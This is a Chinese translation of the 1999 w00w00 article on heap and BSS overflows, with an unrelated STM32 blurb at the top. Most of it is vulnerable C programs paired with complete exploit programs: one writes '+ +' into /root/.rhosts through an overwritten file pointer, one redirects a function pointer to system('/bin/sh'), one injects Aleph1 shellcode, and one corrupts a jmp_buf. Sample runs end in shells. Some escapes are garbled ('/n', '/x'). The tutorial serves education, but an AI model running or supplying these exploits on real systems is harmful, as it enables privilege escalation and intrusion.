Heap/BSS 溢出机理分析

避坑指南:STM32CubeMX配置USB虚拟串口时Heap Size设置的那些坑 本文深入剖析了使用STM32CubeMX配置USB虚拟串口时,因Heap Size设置不当导致设备无法识别的常见问题。文章从故障现象出发,详细解释了堆内存不足如何影响USB枚举过程,并提供了从内存布局分析、动态监控到系统化调试的完整解决方案,帮助开发者从根本上避免这一配置陷阱。 阅读详情


Heap/BSS 溢出机理分析



Heap/BSS 溢出机理分析

[前言:        ]
[    这篇文章主要是基于w00w00发表的:        ]
[w00w00 on Heap Overflows]
[By: Matt Conover & w00w00 Security Team        ]
[-----------------------------------------------------------------------]
[Copyright (C) January 1999, Matt Conover & w00w00 Security Development]
[  也补充了一些程序和自己的想法.]
[  非常感谢Matt Conover给予的热情帮助.                                  ]
[  (Thank Matt for his great work and help)                             ]
[  你可以从下面的地址获取原文:]
[  http://http://www.w00w00.org/articles.html]
[  由于时间较紧,疏漏之处难免,任何意见和建议请发给warning3@hotmail.com ]


    虽然基于Heap(堆)/BSS的溢出现在是相当普遍的,但并没有多少介绍它的资料。
本文将帮你理解什么是Heap溢出,也介绍了几种常用的攻击方法,同时给出了一些可
能的解决方案。阅读本文,您需要了解一些汇编,C语言以及堆栈溢出的基本知识。

一.为什么Heap/BSS溢出很重要?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   堆栈溢出的问题已经广为人知,越来越多的操作系统商家增加了不可执行堆栈的补
丁,一些个人也提供了自己的补丁,象著名的Solar Designer提供的针对Linux的不可
执行堆栈的kernel patch(目前已经推出了用于2.2.13内核的patch),也有一些人开发
了一些编译器来防止堆栈溢出,象Crispin Cowan等开发的StackGuard等等。这些方法
都一定程度上可以减少由堆栈溢出导致的安全问题,但是并却不能防止Heap/BSS的溢出。
在大多数的操作系统中,Heap和BSS段都是可写可执行的。这就使得Heap/BSS的溢出成
为可能。

    
大部分的基于heap的溢出都是不依赖于系统和硬件结构的,这将在后面进一步介绍。

二.一些概念
~~~~~~~~~~~

    一个可执行的文件(比如常见的ELF--Executable and Linking
Format格式的可执行
文件)通常包含多个段,比如:PLT(过程连接表),GOT(全局偏移表),init(包含在初始化
时执行的指令),fini(包含程序终止时要执行的指令),以及ctors和dtors(包含一些全
局构造指令和析构指令)

所谓HEAP,就是由应用程序动态分配的内存区。在这里,"由应用程序"来分配是值得特别注
意的,因为在一个好的操作系统中,大部分的内存区实际上是在内核一级被动态分配的,而
Heap段则是由应用程序来分配的。它在编译的时候被初始化。
BSS段包含未被初始化的数据,在程序运行的时候才被分配。在被写入数据前,它始终保持
全零(至少从应用程序的角度看是这样的)
  
在大部分的系统中,Heap段是向上增长的(向高址方向增长)。因此,当我们说"X在Y的
下面"时,就是指"X的地址低于Y的地址"。


注意:下面提到的"基于heap的溢出"既包含HEAP段的溢出,也包含BSS段的溢出。

三.Heap/BSS溢出攻击

    
在这一部分中我们将介绍几种不同的利用Heap/BSS溢出的方法。大部分的例子都是针对
x86
Unix系统的。做一些适当的改变,也可以用于DOS和Windows系统。我们也介绍了几种专
门针对DOS/Windows的攻击方法。

注意:
    
在本文中,为了简单起见,我们使用了精确的偏移量。偏移量必须与实际的值相等,攻
击程序才能工作。当然你也可以象通常的堆栈攻击方法那样,通过提供多个返回地址及插入
空指令等方法以增加成功的机率。

    下面的这个例子是给那些不熟悉Heap溢出的人看的,我会做一些简单的解释:
-----------------------------------------------------------------------------
   /* 演示在heap段(已初始化的数据)发生的动态缓冲区溢出*/

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define BUFSIZE 16
   #define OVERSIZE 8 /* 我们将覆盖buf2的前OVERSIZE个字节 */

   int main()
   {
      u_long diff;
      char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);

      diff = (u_long)buf2 - (u_long)buf1;
      printf("buf1 = %p, buf2 = %p, diff = 0x%x (%d)bytes/n", buf1, buf2,
diff, diff);

      memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '/0';/*
将buf2用'A'填充 */

      printf("before overflow: buf2 = %s/n", buf2);
      memset(buf1, 'B', (u_int)(diff + OVERSIZE)); /*
用diff+OVERSIZE个'B'填充buf1 */
      printf("after overflow: buf2 = %s/n", buf2);

      return 0;
   }
-----------------------------------------------------------------------------
当我们运行它后,得到下面的结果:
[warning3@testserver basic]$ ./heap1 8
buf1 = 0x8049858, buf2 = 0x8049870, diff = 0x18 (24)bytes
before overflow: buf2 = AAAAAAAAAAAAAAA
after overflow: buf2 = BBBBBBBBAAAAAAA

我们看到buf2的前8个字节被覆盖了。这是因为往buf1中填写的数据超出了它的边界进入了
buf2的范围。由于buf2的数据仍然在有效的heap区内,程序仍然可以正常结束。另外我们
可以注意到,虽然buf1和buf2是相继分配的,但他们并不是紧挨着的,而是有8个字节的间
距,这个间距可能随不同的系统环境而不同。

buf1    间距buf2
覆盖前:[xxxxxxxxxxxxxxxx][xxxxxxxx]<aAAAAAAAAAAAAAA]
低址 -----------------------------------> 高址
覆盖后:[BBBBBBBBBBBBBBBB][BBBBBBBB][BBBBBBBBAAAAAAA]

注意:
  
一个阻止heap溢出的可能的方法就是在heap段的所有变量之间放一个"canary"值(就象
   StackGuard中所做的那样),若这个值在执行中被改变,就认为发生了溢出。

为了解释BSS段的溢出,我们来看下面这个例子:
-----------------------------------------------------------------------------
/* 演示在BSS段(未被初始化的数据)的静态缓冲区溢出 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

#define ERROR -1
#define BUFSIZE 16

int main(int argc, char **argv)
{
   u_long diff;

   int oversize;
   static char buf1[BUFSIZE], buf2[BUFSIZE];

   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <numbytes>/n", argv[0]);
      fprintf(stderr, "[Will overflow static buffer by <numbytes>]/n");

      exit(ERROR);
   }

   diff = (u_long)buf2 - (u_long)buf1;

   printf("buf1 = %p, buf2 = %p, diff = 0x%x (%d) bytes/n/n",
          buf1, buf2, diff, diff);

   memset(buf2, 'A', BUFSIZE - 1), memset(buf1, 'B', BUFSIZE - 1);
   buf1[BUFSIZE - 1] = '/0', buf2[BUFSIZE - 1] = '/0';

   printf("before overflow: buf1 = %s, buf2 = %s/n", buf1, buf2);

   oversize = diff + atoi(argv[1]);
   memset(buf1, 'B', oversize);

   buf1[BUFSIZE - 1] = '/0', buf2[BUFSIZE - 1] = '/0';
   printf("after overflow: buf1 = %s, buf2 = %s/n/n", buf1, buf2);

   return 0;
}
-----------------------------------------------------------------------------
当我们运行它后,得到下面的结果:
[warning3@testserver basic]$ ./heap2 8
buf1 = 0x8049874, buf2 = 0x8049884, diff = 0x10 (16) bytes

before overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = AAAAAAAAAAAAAAA
after overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = BBBBBBBBAAAAAAA

和heap溢出类似,buf2的前8个字节也被覆盖了。我们也可以注意到,buf1和buf2是紧挨着
的,这意味着我们可以不用猜测buf1和buf2之间的间距.

buf1buf2
覆盖前:[BBBBBBBBBBBBBBBB]<aAAAAAAAAAAAAAA]
低址 ----------------------> 高址
覆盖后:[BBBBBBBBBBBBBBBB][BBBBBBBBAAAAAAA]

从上面两个简单的例子,我们可以应该已经了解Heap/BSS溢出的基本方式了。我们能用它
来覆盖一个文件名,口令或者是保存的uid等等...
下面这个例子演示了一个指针是如何被覆盖的:
-----------------------------------------------------------------------------
   /* 演示在BSS段(未被初始化的数据)中的静态指针溢出 */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>
   #include <errno.h>

   #define BUFSIZE 16
   #define ADDRLEN 4 /* 指针地址的长度 */

   int main()
   {
      u_long diff;
      static char buf[BUFSIZE], *bufptr;

      bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;

      printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes/n",
             &bufptr, bufptr, buf, diff, diff);

      memset(buf, 'A', (u_int)(diff + ADDRLEN));/*
将diff+ADDRLEN字节的'A'填充到buf中 */

      printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes/n",
             &bufptr, bufptr, buf, diff, diff);

      return 0;
   }
-----------------------------------------------------------------------------
当我们运行它后,得到下面的结果:
[warning3@testserver basic]$ ./heap3
bufptr (0x8049640) = 0x8049630, buf = 0x8049630, diff = 0x10 (16) bytes
bufptr (0x8049640) = 0x41414141, buf = 0x8049630, diff = 0x10 (16) bytes

buf  bufptr
覆盖前:[xxxxxxxxxxxxxxxx][0x08049630]
低址 ------------------> 高址
覆盖后:<aAAAAAAAAAAAAAAA][0x41414141]
                         <aAAA]

我们可以很清楚的看到,现在指针bufptr现在指向一个不同的地址(0x41414141).
如何利用这一点呢?例如我们可以重写一个临时文件名的指针,使其指向一个不同的字符
串(比如
argv[1]或是由我们提供的某个环境变量),它可以包含"/root/.rhosts"或"/etc/
passwd"....

    
为了说明这一点,我们再来看一个例子。这个程序会用一个临时文件来储存用户输入的
数据。
-----------------------------------------------------------------------------
   /*
    * 这是一个很典型的有弱点的程序。它将用户的深入储存在一个临时文件中。
    *
    *
    * 编译方法: gcc -o vulprog1 vulprog1.c
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>
   #include <errno.h>

   #define ERROR -1
   #define BUFSIZE 16

   /*
    * 将攻击程序以root身份运行或者改变攻击程序中"vulfile"的值。
    * 否则,即使攻击程序成功,它也不会有权限修改/root/.rhosts(缺省的例子)
    *
    */

   int main(int argc, char **argv)
   {
      FILE *tmpfd;
      static char buf[BUFSIZE], *tmpfile;

      if (argc <= 1)
      {
         fprintf(stderr, "Usage: %s <garbage>/n", argv[0]);
         exit(ERROR);
      }

      tmpfile = "/tmp/vulprog.tmp"; /* 这里暂时不考虑链接问题 :) */
      printf("before: tmpfile = %s/n", tmpfile);

      printf("Enter one line of data to put in %s: ", tmpfile);
      gets(buf);  /* 导致buf溢出 */

      printf("/nafter: tmpfile = %s/n", tmpfile);

      tmpfd = fopen(tmpfile, "w");
      if (tmpfd == NULL)
      {
         fprintf(stderr, "error opening %s: %s/n", tmpfile,
                 strerror(errno));

         exit(ERROR);
      }

      fputs(buf, tmpfd);        /* 将buf提供的数据存入临时文件 */
      fclose(tmpfd);
   }

-----------------------------------------------------------------------------
这个例子中的情形在编程时是很容易发生的,很多人以为用静态数组和静态指针就会比较
安全,看了下面的攻击程序,我想你就不会这么想了.:-)
-----------------------------------------------------------------------------
   /*
    * Copyright (C) January 1999, Matt Conover & WSD
    *
    * 这个程序将用来攻击vulprog1.c.它传输参数给有弱点的程序。有弱点的程序
    * 以为将我们输入的一行数据储存到了一个临时文件里。然而,因为发生了静态
    * 缓冲区溢出的缘故,我们可以修改这个临时文件的指针,让它指向argv[1](我们
    *
将传递"/root/.rhosts"给它)。然后程序就会将我们提供的输入数据存在"/root
    * /.rhosts"中。所以我们用来覆盖缓冲区的字符串将会是下面的格式:
    *   [+ + # ][(tmpfile地址) - (buf 地址)个字符'A'][argv[1]的地址]
    *
    * "+ +"后面跟着'#'号是为了防止我们的溢出代码出问题。没有'#'(注释符),使用
    * .rhosts的程序就会错误解释我们的溢出代码。
    *
    * 编译方法: gcc -o exploit1 exploit1.c
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define BUFSIZE 256

   #define DIFF 16 /* vulprog中buf和tmpfile之间的间距 */

   #define VULPROG "./vulprog1"
   #define VULFILE "/root/.rhosts" /* buf 中的内容将被储存在这个文件中 */

   /* 得到当前堆栈的esp,用来计算argv[1]的地址 */
   u_long getesp()
   {
      __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */
   }

   int main(int argc, char **argv)
   {
      u_long addr;

      register int i;
      int mainbufsize;

      char *mainbuf, buf[DIFF+6+1] = "+ +/t# ";

      /* ------------------------------------------------------ */
      if (argc <= 1)
      {
         fprintf(stderr, "Usage: %s <offset> [try 310-330]/n", argv[0]);
         exit(ERROR);
      }
      /* ------------------------------------------------------ */

      memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +/t# "); /*
将攻击代码填入buf */

      memset(buf + strlen(buf), 'A', DIFF); /* 用'A'填满剩余的buf空间 */
      addr = getesp() + atoi(argv[1]);    /* 计算argv[1]的地址 */

      /* 将地址反序排列(在小endian系统中)后存入buf+DIFF处 */
      for (i = 0; i < sizeof(u_long); i++)
         buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);
      /* 计算mainbuf的长度 */
      mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13;

      mainbuf = (char *)malloc(mainbufsize);
      memset(mainbuf, 0, sizeof(mainbuf));

      snprintf(mainbuf, mainbufsize - 1, "echo '%s' │ %s %s/n",
               buf, VULPROG, VULFILE);

      printf("Overflowing tmpaddr to point to %p, check %s after./n/n",
             addr, VULFILE);

      system(mainbuf);
      return 0;
   }

-----------------------------------------------------------------------------

[root@testserver vulpkg1]# ./exploit1 349
Overflowing tmpaddr to point to 0xbffffe6d, check /root/.rhosts after.

before: tmpfile = /tmp/vulprog.tmp
Enter one line of data to put in /tmp/vulprog.tmp:
after: tmpfile = /vulprog1

我们看到现在tmpfile指向argv[0]("./vulprog1"),
我们增加10个字节(argv[0]的长度):

[root@testserver vulpkg1]# ./exploit1 359
Overflowing tmpaddr to point to 0xbffffe77, check /root/.rhosts after.

before: tmpfile = /tmp/vulprog.tmp
Enter one line of data to put in /tmp/vulprog.tmp:
after: tmpfile = /root/.rhosts
[root@testserver vulpkg1]# cat /root/.rhosts
+ +     # AAAAAAAAAAw?緼A

           buf    tmpfile
覆盖后:[+ +/t# AAAAAAAAAA][0x123445678]

我们已经成功的将"+ +"添加到了/root/.rhosts中!攻击程序覆盖了vulprog用来接受
gets()输入的静态缓冲区,并将猜测的argv[1]的地址覆盖tmpfile.我们可以在mainbuf中
放置任意长度的'A'直到发现多少个'A'才能到达tmpfile的地址。如果你有弱点程序源码的
话,可以增加"printf()"来显示出被覆盖的数据与目标数据之间的距离(比如:
'printf("%p - %p = 0x%lx bytes/n", buf2, buf1, (u_long)diff)').

但通常这个偏移量在编译的时候会发生改变,但我们可以很容易的重新计算/猜测甚至
"暴力"猜测这个偏移量.

注意:

   我们需要一个有效的地址(argv[1]的地址),我们必须将字节顺序反向(在little
endian
   系统中).Little endian系统通常是低字节在前(x86就是little endian系统).
   因此0x12345678在内存中就是按0x78563412的顺序存放。如果我们是在big
endian系统
   中做这些(比如sparc),我们就不必做反序的处理了。

   迄今为止,这些例子中没有一个要求可执行的heap!这些例子都是不依赖系统和硬件
   结构的(除了字节反序的部分)。这在攻击heap溢出时是非常有用的。

知道了怎么重写一个指针,我们接下来看看如何修改一个函数指针。与上面的例子不同的是,
修改函数指针的攻击要求有一个可以执行的Heap

函数指针(比如 "int (*funcptr)(char
*str)")允许程序员动态修改要被调用的函数。我们
可以重写函数指针的地址,使其被执行的时候转去调用我们指定的函数(代码)。为了达到
这个目的,我们有多种选择。

首先,我们可以使用自己的shellcode,我们可以用两种方法来使用我们的shellcode:

    1. argv[]方法 :
将shellcode储存在一个程序参数中(这要求一个可执行的堆栈)
    2. heap偏移方法:将shellcode储存在从heap的顶端到被覆盖的指针之间的区域中
                     (这要求可执行的heap)

注意:
    
heap可执行的可能性比堆栈可执行的可能性要大得多。因此,利用heap的方法可能更
    常用一些。

另外的一种方法是简单地猜测一个函数(比如system())的地址。如果我们知道攻击程序中
system()的地址,那么被攻击的程序中system()的地址应该与其相差不员,假设两个程序
在同样的情况下编译的话。这种方法的好处在于它不需要一个可执行的heap。
(另外一种方法是使用PLT(过程链接表),这里就不再详述了,有兴趣的可以看stranJer做
的绕过不可执行堆栈的攻击)


第二种方法的优点就是简单。我们可以很快得从攻击程序的system()的地址猜出有弱点程
序的system()地址。而且在远程系统中也是相同的(如果版本,操作系统和硬件结构都一
样的话)。第一种方法的优点在于我们可以利用自己的shellcode来做任意的事,而且并不
需要考虑函数指针的兼容问题,比如不管是char (*funcptr)(int a)还是void
(*funcptr)
(),都可以顺利工作(第一种方法就必须考虑这些)。它的缺点就是必须要有可执行的heap
/stack.

下面我们再来看一个有弱点的程序:
-----------------------------------------------------------------------------
   /*
    * Just the vulnerable program we will exploit.
    * Compile as: gcc -o vulprog vulprog.c (or change exploit macros)
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define ERROR -1
   #define BUFSIZE 64

   int goodfunc(const char *str); /* 正常情况下要被funcptr指向的函数 */

   int main(int argc, char **argv)
   {
      static char buf[BUFSIZE];
      static int (*funcptr)(const char *str);/*
这个就是我们将要重写的函数指针 */

      if (argc <= 2)
      {
         fprintf(stderr, "Usage: %s <buf> <goodfunc arg>/n", argv[0]);
         exit(ERROR);
      }

      printf("(for 1st exploit) system() = %p/n", system);
      printf("(for 2nd exploit, stack method) argv[2] = %p/n", argv[2]);
      printf("(for 2nd exploit, heap offset method) buf = %p/n/n", buf);

      funcptr = (int (*)(const char *str))goodfunc;
      printf("before overflow: funcptr points to %p/n", funcptr);

      memset(buf, 0, sizeof(buf));
    /* 溢出有可能在这里发生,这也是很常见的一种错误的使用strncpy的例子 */
      strncpy(buf, argv[1], strlen(argv[1]));
      printf("after overflow: funcptr points to %p/n", funcptr);

      (void)(*funcptr)(argv[2]); /* 正常情况下将调用goodfunc,参数为argv[2]
*/
      return 0;
   }

   /* ---------------------------------------------- */

   /* This is what funcptr would point to if we didn't overflow it */
   int goodfunc(const char *str)
   {
      printf("/nHi, I'm a good function.  I was passed: %s/n", str);
      return 0;
   }
-----------------------------------------------------------------------------
我们来看看第一个攻击的例子,这里采用的是使用system()的方法:
-----------------------------------------------------------------------------
   /*
    * Copyright (C) January 1999, Matt Conover & WSD
    *
    * 演示在bss段(未被初始化的数据)中覆盖静态函数指针的方法。
    *
    * Try in the offset (argv[2]) in the range of 0-20 (10-16 is best)
    * To compile use: gcc -o exploit1 exploit1.c
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

/* 假设funcptr与buf之间的距离(对于BSS区来说,这个值应该就是buf的大小 */
   #define BUFSIZE 64

   #define VULPROG "./vulprog" /* 有弱点程序的位置 */
   #define CMD "/bin/sh" /* 定义如果攻击成功后要执行的命令 */

   #define ERROR -1

   int main(int argc, char **argv)
   {
      register int i;
      u_long sysaddr;
      static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};

      if (argc <= 1)
      {
         fprintf(stderr, "Usage: %s <offset>/n", argv[0]);
         fprintf(stderr, "[offset = estimated system() offset]/n/n");

         exit(ERROR);
      }

      sysaddr = (u_long)&system - atoi(argv[1]); /* 计算system()的地址 */
      printf("trying system() at 0x%lx/n", sysaddr);

      memset(buf, 'A', BUFSIZE);

      /* 在little endian系统中,需要将字节反序排列 */
      for (i = 0; i < sizeof(sysaddr); i++)
         buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

      execl(VULPROG, VULPROG, buf, CMD, NULL);
      return 0;
   }
-----------------------------------------------------------------------------
当我们运行它后,得到下面的结果:

[warning3@testserver vulpkg2]$ ./exploit2 12
Trying system() at 0x80483fc
system()'s address = 0x80483fc
before overflow: funcptr points to 0x80485fc
after overflow: funcptr points to 0x80483fc
bash$

接下来的例子中我们用了stack和heap的方法:
-----------------------------------------------------------------------------
   /*
    * Copyright (C) January 1999, Matt Conover & WSD
    *
    * 这演示了如何重写一个静态函数指针使其指向我们提供的shellcode.
    * 这种方法要求可执行的stack或heap
    *
    * 这个程序中有两个参数:offset和heap/stack. 对于stack方法来说,
    * offset为堆栈顶端到(有弱点程序的)argv[2]的距离.
    * 对于heap方法来说,offset为heap的顶端到被覆盖的(或指定的)buffer之间的
    * 距离。
    *
    * Try values somewhere between 325-345 for argv[] method, and 420-450
    * for heap.
    *
    * To compile use: gcc -o exploit2 exploit2.c
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define ERROR -1
   #define BUFSIZE 64 /* estimated diff between buf/funcptr */

   #define VULPROG "./vulprog" /* where the vulprog is */

   char shellcode[] = /* just aleph1's old shellcode (linux x86) */
     "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0"
     "/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8"
     "/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh";

   u_long getesp()
   {
      __asm__("movl %esp,%eax"); /* 得到当前堆栈顶端的值 */
   }

   int main(int argc, char **argv)
   {
      register int i;
      u_long sysaddr;
      char buf[BUFSIZE + sizeof(u_long) + 1];

      if (argc <= 2)
      {
         fprintf(stderr, "Usage: %s <offset> <heap │ stack>/n", argv[0]);
         exit(ERROR);
      }

      if (strncmp(argv[2], "stack", 5) == 0) /* 使用堆栈的方法 */
      {
         printf("Using stack for shellcode (requires exec. stack)/n");

         sysaddr = getesp() + atoi(argv[1]);   /* 计算argv[2]的地址 */
         printf("Using 0x%lx as our argv[1] address/n/n", sysaddr);

         memset(buf, 'A', BUFSIZE + sizeof(u_long));
      }

      else                                   /* 使用heap的方法 */
      {
         printf("Using heap buffer for shellcode "
                "(requires exec. heap)/n");

        /* 计算目标buffer的地址(sbrk(0)用来得到heap的顶端地址) */
         sysaddr = (u_long)sbrk(0) - atoi(argv[1]);
         printf("Using 0x%lx as our buffer's address/n/n", sysaddr);
/* 计算是否buf与funcptr之间的距离不足以放下我们的shellcode */
/* 如果这段距离比较小的话,其实可以采用另外的方法来填充:  */
/*   buf                funcptr  sysaddr
/* [sysaddr│sysaddr│...][sysaddr][shellcode]               */

         if (BUFSIZE + 4 + 1 < strlen(shellcode))
         {
            fprintf(stderr, "error: buffer is too small for shellcode "
                            "(min. = %d bytes)/n", strlen(shellcode));

            exit(ERROR);
         }

         strcpy(buf, shellcode);
         memset(buf + strlen(shellcode), 'A',
                BUFSIZE - strlen(shellcode) + sizeof(u_long));
      }

      buf[BUFSIZE + sizeof(u_long)] = '/0';

      /* reverse byte order (on a little endian system) (ntohl equiv) */
      for (i = 0; i < sizeof(sysaddr); i++)
         buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

      execl(VULPROG, VULPROG, buf, shellcode, NULL);
      return 0;
   }
-----------------------------------------------------------------------------
先来看看用堆栈的方法:
[warning3@testserver vulpkg3]$ ./exploit3 319 stack
Using stack for shellcode (requires exec. stack)
Using 0xbffffdf7 as our argv[1] address

argv[1] = 0xbffffdf7
buf = 0x8049820

before: funcptr = 0x8048500
after: funcptr = 0xbffffdf7

bash$

buf  funcptr          堆栈区
覆盖前:[xxxxxx...xxxxxxx][0x08048500]
低址 ------------------> 高址
覆盖后:<aAAAAA...AAAAAAA][0xbffffdf7]    [shellcode]
                             │           ^
                             │___________│

下面是用heap的方法:
[warning3@testserver vulpkg3]$ ./exploit3 836 heap
Using heap buffer for shellcode (requires exec. heap)
Using 0x8049820 as our buffer's address

argv[1] = 0xbffffdf7
buf = 0x8049820

before: funcptr = 0x8048500
after: funcptr = 0x8049820

bash$

buf  funcptr
覆盖前:[xxxxxxxxxxxxxxxx][0x08048500]
低址 ------------------> 高址
覆盖后:[shellcodeAAA...A][0x8049820]
       ^
       │_0x8049820


从上面的例子可以看出,对于同一种问题,可以有几种不同的攻击手法.这里我们另外再介
绍一种类型的攻击.它利用了setjmp和longjmp函数.这两个函数通常用来在一些低阶函数
中处理一些错误和中断.setjmp(jmpbuf)用来保存当前的堆栈栈帧到jmpbuf中,longjmp
(jmpbuf,val)将从jmpbuf中恢复堆栈栈帧,longjmp执行完后,程序继续从setjmp()的下一
条语句处执行,并将val作为setjmp()的返回值.jmpbuf中保存有寄存器bx,si,di,bp,sp,pc
,如果我们能在longjmp执行以前覆盖掉jmpbuf,我们就能重写寄存器pc.因此当longjmp恢复
保存的堆栈栈帧后,程序就可能跳到我们指定的地方去执行.至于跳转地址,可以是堆栈中,
也可以是heap中.现在我们以x86系统为例来具体解释一下.
(下面的代码在Redhat 6.0 ,2.2.5下编译通过.对于其他的系统,请参考setjmp.h来修改
相应的代码)
首先我们来看一个有弱点的程序:
-----------------------------------------------------------------------------
/*
* This is just a basic vulnerable program to demonstrate
* how to overwrite/modify jmp_buf's to modify the course of
* execution.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <setjmp.h>

#define ERROR -1
#define BUFSIZE 16

static char buf[BUFSIZE];
jmp_buf jmpbuf;    /* jmpbuf是我们想要覆盖的 */

u_long getesp()
{
   __asm__("movl %esp,%eax"); /* 得到当前堆栈指针 */
}

int main(int argc, char **argv)
{
u_long diff;
   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <string1> <string2>/n");
      exit(ERROR);
   }
  diff=(u_long)jmpbuf-(u_long)buf;
  printf("diff=%d/n",diff);
   printf("[vulprog] argv[2] = %p/n", argv[2]);
   printf("[vulprog] sp = 0x%lx/n/n", getesp());

   if (setjmp(jmpbuf)) /*
如果大于0,那么longjmp()应该已经执行完毕了.直接执行setjmp应该返回1 */
   {
      fprintf(stderr, "error: exploit didn't work/n");
      exit(ERROR);
   }
/* 我们打印出覆盖前后jmpbuf中保存的寄存器的值 */
   printf("before:/n");
   printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx/n",
          jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI],
jmpbuf->__jmpbuf[JB_DI]);

   printf("bp = %p, sp = %p, pc = %p/n/n",
          jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP],
jmpbuf->__jmpbuf[JB_PC]);

   strncpy(buf, argv[1], strlen(argv[1])); /* 这里可能导致jmpbuf被覆盖 */

   printf("after:/n");
   printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx/n",
          jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI],
jmpbuf->__jmpbuf[JB_DI]);

   printf("bp = %p, sp = %p, pc = %p/n/n",
          jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP],
jmpbuf->__jmpbuf[JB_PC]);

   longjmp(jmpbuf, 1);
   return 0;
}
-----------------------------------------------------------------------------

在上面的程序中我们打印出寄存器的值,是为了看得更清楚一些,猜测起来也更容易.:-)

下面我们给出攻击程序.它利用argv[]储存代码,程序需要跳到env处执行,需要可执行堆栈.

-----------------------------------------------------------------------------

/*
* Copyright (C) January 1999, Matt Conover & w00w00 Security Development
*
* 这个程序用来演示通过覆盖jmpbuf(setjmp/longjmp)来在heap中模拟堆栈溢出的方法
* 我们将覆盖jmpbuf中保存的sp/pc寄存器值.当longjmp()被调用的时候,它将从这个地
* 址开始执行下一条指令.所以,如果我们能将代码存储在这个地址,那它就将被执行
*
* This takes two arguments (offsets):
*   arg 1 - stack offset (should be about 25-45).
*   arg 2 - argv offset (should be about 310-330).
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define ERROR -1
#define BUFSIZE 36

#define VULPROG "./vulprog4"

char shellcode[] = /* just aleph1's old shellcode (linux x86) */
   "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0"
   "/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8"
   "/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh";

u_long getesp()
{
   __asm__("movl %esp,%eax"); /* the return value goes in %eax */
}

int main(int argc, char **argv)
{
   int stackaddr, argvaddr;
   register int index, i, j;

   char buf[BUFSIZE + 24 + 1];

   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <stack offset> <argv offset>/n",
              argv[0]);

      fprintf(stderr, "[stack offset = offset to stack of vulprog/n");
      fprintf(stderr, "[argv offset = offset to argv[2]]/n");

      exit(ERROR);
   }

   stackaddr = getesp() - atoi(argv[1]);
   argvaddr = getesp() + atoi(argv[2]);

   printf("trying address 0x%lx for argv[2]/n", argvaddr);
   printf("trying address 0x%lx for sp/n/n", stackaddr);

   /*
    * The second memset() is needed, because otherwise some values
    * will be (null) and the longjmp() won't do our shellcode.
    */

   memset(buf, 'A', BUFSIZE), memset(buf + BUFSIZE, 0x1, 12);
   buf[BUFSIZE+24] = '/0';

   /* ------------------------------------- */

   /*
    * 当设置pc指向我们的shellcode地址时,我们会覆盖jmpbuf中的ebp/esp,
    * 所以,我们将用正确的值重写它们.
    */

   for (i = 0; i < sizeof(u_long); i++) /* setup BP */
   {
      index = BUFSIZE + 12 + i;
      buf[index] = (stackaddr >> (i * 8)) & 255;
   }

   /* ----------------------------- */

   for (i = 0; i < sizeof(u_long); i++) /* setup SP */
   {
      index = BUFSIZE + 16 + i;
      buf[index] = (stackaddr >> (i * 8)) & 255;
   }

   /* ----------------------------- */

   for (i = 0; i < sizeof(u_long); i++) /* setup PC */
   {
      index = BUFSIZE + 20 + i;
      buf[index] = (argvaddr >> (i * 8)) & 255;
   }

   execl(VULPROG, VULPROG, buf, shellcode, NULL);
   return 0;
}
-----------------------------------------------------------------------------
我们来看一下执行的结果:
[warning3@testserver vulpkg4]$ ./exploit4 20 393
trying address 0xbffffe49 for argv[2]
trying address 0xbffffcac for sp

diff=36
[vulprog] argv[2] = 0xbffffe49
[vulprog] sp = 0xbffffcac

before:
bx = 0x401041b4, si = 0xbffffd04, di = 0x3
bp = 0xbffffcb8, sp = 0xbffffcac, pc = 0x80485c9

after:
bx = 0x1010101, si = 0x1010101, di = 0x1010101
bp = 0xbffffcac, sp = 0xbffffcac, pc = 0xbffffe49

bash$



